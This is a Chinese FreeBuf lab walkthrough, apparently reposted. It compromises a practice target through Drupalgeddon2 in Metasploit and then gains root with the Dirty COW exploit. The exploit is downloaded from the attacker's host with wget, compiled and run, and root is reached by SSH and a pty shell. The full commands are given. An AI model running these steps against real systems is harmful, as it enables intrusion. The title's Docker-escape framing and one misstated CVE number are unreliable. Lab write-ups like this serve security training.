Docker逃逸之由内核漏洞引起的逃逸(CVE-2016-5195)
2024-1-30 13:32:36 Author: www.freebuf.com(查看原文) 阅读量:13 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

写在前边

目前的 Docker 逃逸的原因可以划分为三种:

1、由内核引起的的dirty cow实现逃逸----CVE-2019-5195

2、软件程序引起的docker逃逸漏洞----CVE-2019-5736

3、docker配置不当引起的----privileged(特权模式)逃逸、docket remote api未授权访问导致逃逸等

原理:

Linux 内核的子系统在处理写入时复制(copy-on-write, COW)至产生了竞争条件,恶意用户可利用此漏洞来获取高权限,对只读内存映射进行访问。

竞争条件,指的是任务执行顺序异常,可导致应用奔溃,或令攻击者有机可乘,进一步执行其他代码,利用这一漏洞,攻击者可在其目标系统提升权限,甚至可能获取到root权限。

影响版本:

该漏洞在全版本Linux系统(Linux kernel >= 2.6.22)均可以实现提权。

靶机:192.168.200.49

KALI:192.168.200.14

靶场环境页面:

1703211425_6584f1a19282e715c3645.png!small?1703211426923

1、通过nmap扫描存活主机,确认靶机IP

nmap -sP  192.168.200.0/24 -T4 

通过靶机的MAC地址能更准确的确认靶机的IP地址

1703211440_6584f1b03091d0579cc30.png!small?1703211441958

2、扫描靶机的开放端口和服务

nmap -sV -p-  192.168.200.49 

1703211447_6584f1b73cdc63ea921f6.png!small?1703211448839

确认开放的端口为:22、80、1898

打开192.168.200.49

1703211454_6584f1be83b31ab72c128.png!small?1703211455920

192.168.200.49:1898

1703211461_6584f1c57f1382fcf382c.png!small?1703211462979

从此WEB页面下探测信息

可以查到CMS为 Drupal 7

1703211468_6584f1cc58caf697ea225.png!small?1703211473690

3、使用msf内置exp

1703211482_6584f1da7cfd74e1bdf6c.png!small?1703211483891

选择(exploit/unix/webapp/drupal_drupalgeddon2)进行利用

1703211490_6584f1e2e75aa72eff618.png!small

1703211512_6584f1f88c4c233544d60.png!small?1703211514118

输入指令等待即可

1703211521_6584f2015d4a9c8560127.png!small?1703211522658

当前是低权限用户

exploit/run
shell #转换为有回显的shell

1703211534_6584f20e6b447229f8b63.png!small?1703211535509

1703211545_6584f219b419a162553a2.png!small?1703211547299

此时查看所有文件,但是无法访问root文件夹

ls -al #列出所有文件,包括隐藏文件
 
cd root

1703211557_6584f22508d2df9af3664.png!small?1703211558688

靶机的内核版本

1703211564_6584f22cc5fcf2e95b177.png!small?1703211565959

1、使用searchsploit工具找到提权脚本

1703211571_6584f233943bc4246d955.png!small?1703211573388

找到本地文件的具体位置,不损坏原文件将脚本文件复制到/home/kali目录下

searchsploit dirty
locate linux/local/40847.cpp #定位40847.cpp的位置
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /tmp #将40847.cpp复制到/tmp目录下

2、将文件上传到靶机上,并执行

1、在/home/kali目录下起http服务。

然后目标主机通过wget下载到本地,然后将.cpp文件编译得到一个可执行文件,直接执行就能得到root账号的密码

python -m http.server 8899 

1703211580_6584f23c4a653eeda1fcd.png!small?1703211581409

3、在目标主机下载40847.cpp文件,并进行编译成40847可执行文件

wget http://192.168.200.14:8899/40847.cpp

1703211586_6584f2427891186484a09.png!small?1703211588153

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil
ls -al #列出所有文件和目录,包括隐藏文件



Wall 一般使用该选项,允许发出GCC能够提供的所有有用的警告
pedantic 允许发出ANSI/ISO C标准所列出的所有警告
O2编译器的优化选项的4个级别,-O0表示没有优化,-O1为缺省值,-O3优化级别最高
std=c++11就是用按C++2011标准来编译的
pthread 在Linux中要用到多线程时,需要链接pthread库
o 40847.gcc生成的目标文件,名字为40847

1703211611_6584f25b8b6ed831e90f3.png!small?1703211613404

4、执行,得到root账户和密码

./40847  #得到root的密码为dirtyCowFun

1703211619_6584f2634b6a87e5dd744.png!small?1703211620445

第一、去靶机登录或者ssh远程登录(22端口开放)

用户名root,密码dirtyCowFun

1703211628_6584f26caea3c4c88a9be.png!small?1703211629951

第二、利用ssh远程登录

ssh [email protected]
dirtyCowFun

1703211636_6584f2744d1427f5b17ec.png!small?1703211637945

第三、在此处直接切root用户是不行的,需要开一个终端

python -c 'import pty; pty.spawn("/bin/bash")'

现在是一个shell会话,开启一个终端后,好比是一个sh连接的,交互式的shell。

例如,xshell连接的时候,会弹出一个框,让输入密码,命令里面添加用户的时候,下一步提示你要输入密码才能执行,一条命令输出后,要是没有交互式的话,对方会一直卡在输入命令那里。

所以这个漏洞要用到这个交互式,没有交互式将会用不了,一条命令输出去后,相当于被执行,但有些命令执行后,他有个交互式,要询问ok或者yes或no,所以要搞个交互式这个命令才能回显,正常成功打开交互,执行脚本文件

1703211647_6584f27f3af9e628ab372.png!small?1703211648540

过程

  1. 探测目标和端口
  2. MSF搜索可利用CMS工具,构建连接

文章来源: https://www.freebuf.com/articles/web/387386.html
如有侵权请联系:admin#unsafe.sh